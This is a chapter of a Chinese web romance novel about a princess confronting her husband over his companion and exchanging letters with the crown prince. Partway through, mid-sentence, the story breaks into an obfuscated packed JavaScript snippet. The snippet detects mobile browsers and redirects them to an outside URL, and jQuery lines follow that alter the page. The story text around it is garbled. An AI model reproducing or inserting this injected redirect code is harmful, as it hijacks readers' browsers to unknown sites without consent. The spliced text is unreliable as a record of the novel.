9. 第 9 章[修] 弟妹亲启

作品:《春色窈窕

    天已经完全暗了,主院里安静掌了灯。


    沈玉姝坐在罗汉床上,额角一抽一抽的疼。


    她有那么一瞬间,想过和离。


    她不是不能接受夫君有外室,大不了婚后过半年抬进来给个名分便是。


    可是尚琢做的桩桩件件,却丝毫不顾及她这个王妃的面子。


    京城议论至今,迟早皇上和皇后也会知晓,届时她怎么与他们交代?


    恭王后宅不宁,群臣上奏,谏她不知礼数是轻,更重是谏她父亲家中风气有损。


    如今皇帝以孝治天下,任用不少家风公正之流,若是在她这出了差错,皇帝会如何待她父亲?


    沈玉姝心思纷乱的想着。


    况且……她与尚琢未曾圆房。


    沈玉姝不觉便想起大婚那夜的情景,手中又是一紧。


    恭王若无所出,亦或者子嗣由外室所出,届时皇后的压力便全然压在她身上。


    沈玉姝自问她担不起这个后果。


    她不是一个捂着耳朵囫囵活着的人,她必须将要将这事处理二三。


    屋门忽然被人敲响,唤回了沈玉姝的思绪。


    她呷了口热茶润润嗓子,才开口道:“进。”


    玉兰穿着石竹色袄子,走上来将一本小册子放在沈玉姝手边:“小姐,太子殿下的回京礼各家都送去了。”


    沈玉姝一手撑着有些晕乎的脑袋,翁声道:“知道了,我晚些挑。”


    玉兰应了声,便打了千儿出去了。


    她步子在门口停下,脆生生道:“奴婢给王爷请安。”


    沈玉姝拿起册子的动作一顿,面色沉下。


    尚琢视线未落,淡淡应了声,迈入屋内,越过圆罩与沈玉姝站坐而视。


    “何事。”他淡声道。


    他面色如常,好像今日发生的所有事都与他无关一般。


    “王爷来的真快。”沈玉姝皮笑肉不笑地扯起唇。


    距离她派人去叫尚琢,已经过去了半个时辰。


    “有些忙。”


    “忙着游湖?”沈玉姝沉着脸,丝毫不落下风地对上他的眼睛。


    尚琢眉头狠狠一皱:“沈玉姝!”


    “不高兴?”沈玉姝舌尖抵着虎牙,好整以暇地看着他,“臣妾就问您一句,今日您陪那位纯小姐游湖时,可有想过今日是臣妾的回门之日。”


    “你如果是因为这件事生气,本王会给你补偿。”尚琢声音淡然,好像只在说一件与自己无关的事。


    “……补偿?”沈玉姝喃喃念出这两个字,陡然有些气笑,“您以为臣妾是来找您要补偿的?”


    沈玉姝忿而起身走进了几步,一双鹿眼又黑又透。


    尚琢几乎能看见自己的倒影。


    沈玉姝咬着牙,眼圈泛红:“京中什么东西臣妾没见过,需要贪图您的补偿?”


    她从最开始嫁入恭王府,就只想要一份尊重,想二人相敬如宾,可时至今日,她只见到了一片狼藉的婚姻。


    二人默然对视。


    “本王知道了。”尚琢看着沈玉姝的眼睛,良久沉声道。


    外头房门被轻轻敲响,探进来一个脑袋。


    “你们别吵架了。”女人声音轻轻柔柔的。


    沈玉姝微微蹙了眉,顺着声音看过去,她忽然发觉这张脸有些眼熟:“何之纯?”


    她确实见过何之纯,某场宫宴的时候,听旁边人说是何侍郎家中的庶女,母亲出身上不得台面,自己攀上了哪个王爷,一朝成了凤凰。


    她当时不以为意,没想到她居然就是纯小姐。


    尚琢皱眉:“你怎么来了?”


    他下意识伸手揽住何之纯的肩膀。


    “我怕你和王妃吵架。”何之纯露出内疚的表情,小步走到沈玉姝身边:“是我缠着王爷陪我游湖的,我与王爷也并不是王妃您想的那种关系。”


    不是那种关系?


    沈玉姝有些好笑。


    她以前只听闻何家二小姐手段高明,不想是如此本事,桩桩件件摆上来了,还能空口白牙说自己委屈。


    “那你们是什么。”沈玉姝扯起唇,露出一个小小的梨涡。


    “朋友?”


    何之纯眼圈泛着红,弱弱点着头:“我们真的只是很好的朋友而已,王爷心善,才对我比较好。”她拉着沈玉姝的袖口,“王妃您不要与王爷生气。”


    她说完又小心翼翼抬起眼:“我们相识多年,若真是有什么,如何会轮到今日被王妃您看见?”


    这话里的意思就是在指摘她心气窄、不容人。


    沈玉姝冷笑一声,作壁上观瞧着她的惺惺作态。


    尚琢揽住何之纯的肩膀,低声哄了几句,唤来侍女带她回了竹园,才复而与沈玉姝道:“本王知道你的意思了,明日本王会给你一个满意的答复。”


    “那您最好让臣妾满意。”沈玉姝冷眼看着尚琢离开的背影。


    她是当真不在意何之纯的存在,从前尚在闺中时候不在意,如今出嫁见到了更不在意。


    她只在意,尚琢这个补偿,到底能不能让她满意。


    沈玉姝收回了心思,惫懒躺回罗汉床上,斜斜倚着,翻出玉兰送来的那本册子,一页页细致挑着。


    听闻太子殿下为人端方雅正、温和有理,想来送文房类的应该错不了?


    她的指尖落在青石雕鱼纹砚上,想起那日在凤仪宫中匆匆一瞥的人,觉得再适合不过了。


    沈玉姝心下有些可惜。


    若是玉雕的便好了。


    她合上册子,唤道:“玉兰。”


    玉兰推门而入:“小姐。”


    “青石雕鱼纹砚,明日派人送东宫去。”沈玉姝恹恹按着额角,懒懒把册子递给她,“烧些热水来,我要沐浴。”


    玉兰:“是。”


    **********


    沈玉姝昨儿个累了一日,翌日直到将近巳时才醒。


    沈玉姝躺在床上望着床顶的棋盘格,缓慢地转着将醒的脑袋。


    恭王府也不是全无好处,起码不用早起。


    以前在家中,还要定点去给怀夫人晨昏定省。


    “小姐您醒了?”秋兰瞧见她的动静,连忙拿了个什么东西过来。


    沈玉姝起身靠在床栏上,接过秋兰递来的薄薄的信纸,奇问道:“这是什么?”


    “老爷派人送来的信。”秋兰道,“小姐您看着,奴婢去给您端洗漱的来。”


    沈玉姝应了声,手上拆开了烤着漆的信封。


    “姲姲亲启


    我昨日瞧恭王模样,原担心你受委屈,今日再瞧,却发觉非是如此。”


    沈玉姝蹙眉,继而往下看去。


    说是尚琢给沈父搭了江南盐官的路子,以官价的五成转给了沈父,这中一倒卖,便是万两白银。


    二则说家中一事无成的表弟,殿下出手送进了御林军,聊了叔婶一桩心头大患。


    这就是尚琢昨日说的补偿?沈玉姝微微挑起眉。


    虽与她原本想的大相径庭,但……也算得对等置换了。


    沈玉姝敛下眼,看上第二页去。


    “近日平亲王寿辰,宁亲王与王妃正回京,想来不日便到。”


    沈父得字迹刚劲有力,沈玉姝面上生出一线喜意来。


    宁亲王便是大皇子,早年摔断了腿,便早早赐了封地离了京,而宁王妃,便是她先前给做花童的慧姐姐。


    温慧是沈玉姝母家表姐,较她大上五岁,沈玉姝自小便喜跟在她身后。


    只可惜温慧婚后便


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828257|158838||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    与宁亲王去了封地,数年未见,如今温慧回京,她心里怎能不喜?


    沈玉姝心情颇好地起身,由着玉兰伺候穿衣。


    心说来了恭王府三日,总算有一日晨起有个好消息了。


    她忽然想起什么来,便问道:“东宫的礼可送去了?”


    “一个时辰前,刘公公便派人送去了。”玉兰道。


    沈玉姝放心的“喔”了声。


    **********


    东宫书房


    尚珏轻轻揉着额角,听着刘侍郎丝毫无甚止意的论头。


    “殿下。”门外传来轻声。


    尚珏意兴阑珊地掀起眼,懒懒打断了刘侍郎的话头:“什么事。”


    “恭王府的人来送礼了。”下官道。


    尚珏花了一瞬才反应过来是什么礼。


    他兴致缺缺地摁了摁眉心:“扔库房。”


    下官答应一声,正转身走,忽听太子殿下唤住了他,“等等。”


    他转身,对上太子殿下似笑非笑的眼睛:“将人带过来。”


    下官:“……”


    “是。”


    刘侍郎见状也审时度势地跟着下官离开了。


    半晌,一个手捧紫木盒的小厮跟在下官身后走进来,放下木盒端身行礼:“小的见过太子殿下。”


    “起来吧,”尚珏唇角微微勾着,“听闻是三弟挑的礼,劳三弟费心了。”


    闻言,小厮捧起木盒摇摇头:“不是殿下,是我家王妃挑的。”


    “这样吗?”尚珏轻笑一声,“有劳王妃了。”


    他话音落下,下官从小厮手中接过紫木盒,拿到尚珏前头打开。


    是一方鱼纹砚。


    尚珏玩味地笑起,颔首示意下官给小厮塞了银子。


    “劳你跑一趟。”尚珏淡笑说着,从笔山上抽出一支湖笔,提笔写下几字。


    最后一字落下,他将信细细叠好,起身走到小厮面前,噙着一抹笑:“辛苦将这封信给你们王妃,聊表孤的一番谢意。”


    小厮倏然一愣,随即应下。


    小厮的信送到主院时,沈玉姝正在用膳,有一搭没一搭与秋兰她们说着。


    “慧姐姐若是回来的话,我们是不是又可以一起睡了?”沈玉姝叼着一个水晶包思忖说。


    “不可以。”玉兰生硬驳回,“不合礼数。”


    沈玉姝:“……”


    “可是我们以前也是……”


    “宁王殿下想来也不会答应的。”玉兰轻飘飘说着。


    沈玉姝瘪嘴,苦哈哈撑着下巴。


    万一可以呢。


    沈玉姝思绪一转,慧姐姐回来的正好,近值平亲王寿宴,她往常只随父亲或怀夫人参加过,无需她备礼应酬,如今自个准备起来,总担心处理不好。


    如今随着慧姐姐同做,想来能学不少东西。


    “小的给王妃请安。”沈玉姝正思绪间,前头传来声音。


    沈玉姝顺着声音抬起头,不觉正了适才斜歪的坐姿:“何事?”


    “小的来给太子殿下送信。”小厮说着,走进几步将信交给秋兰。


    沈玉姝边从秋兰手中接过信,边奇怪道:“太子?为何给我?”


    小厮道:“小的早晨去给殿下送回京礼,殿下听说是王妃挑的,便写的回信。”


    沈玉姝拆着手中信,心说太子殿下当真是端方君子,居然会感谢她来写回信。


    她展开手中信,只见开头用力道遒劲的瘦金体写下四字


    ——“弟妹亲启”


    那日在凤仪宫中被她遗忘的记忆,忽然就冒了出来。


    沈玉姝脸骤然就红了。


    她听见模糊记忆中的那人缠着她的颈、哑声哄着与她说:“听话,最后一次。”